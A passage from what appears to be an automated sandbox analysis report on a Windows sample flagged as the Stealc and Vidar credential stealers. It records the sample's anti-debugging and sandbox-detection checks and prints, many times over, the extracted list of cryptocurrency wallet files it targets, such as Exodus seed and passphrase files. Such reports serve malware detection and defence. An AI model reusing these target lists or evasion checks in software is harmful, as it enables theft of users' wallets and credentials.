Source: DAAAFBKE.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: DAAAFBKE.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6532, type: MEMORYSTR

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe protection: readonly

Jump to behavior

Source: file.exe, 00000000.00000002.2683537757.00000000005EE000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: _Program Manager
Source: file.exe	Binary or memory string: _Program Manager

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.170000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2682684437.0000000000171000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2684520265.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2261862235.0000000004C20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6532, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6532, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2682684437.0000000000256000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2682684437.0000000000256000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2682684437.0000000000256000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2682684437.0000000000256000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2682684437.0000000000256000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2682684437.0000000000256000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2684520265.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\seed.seco
Source: file.exe, 00000000.00000002.2682684437.0000000000256000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2682684437.0000000000256000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2682684437.0000000000256000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2682684437.0000000000256000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2682684437.0000000000256000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2684520265.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\seed.seco
Source: file.exe, 00000000.00000002.2684520265.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\simple-storage.json*\
Source: file.exe, 00000000.00000002.2682684437.0000000000256000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local 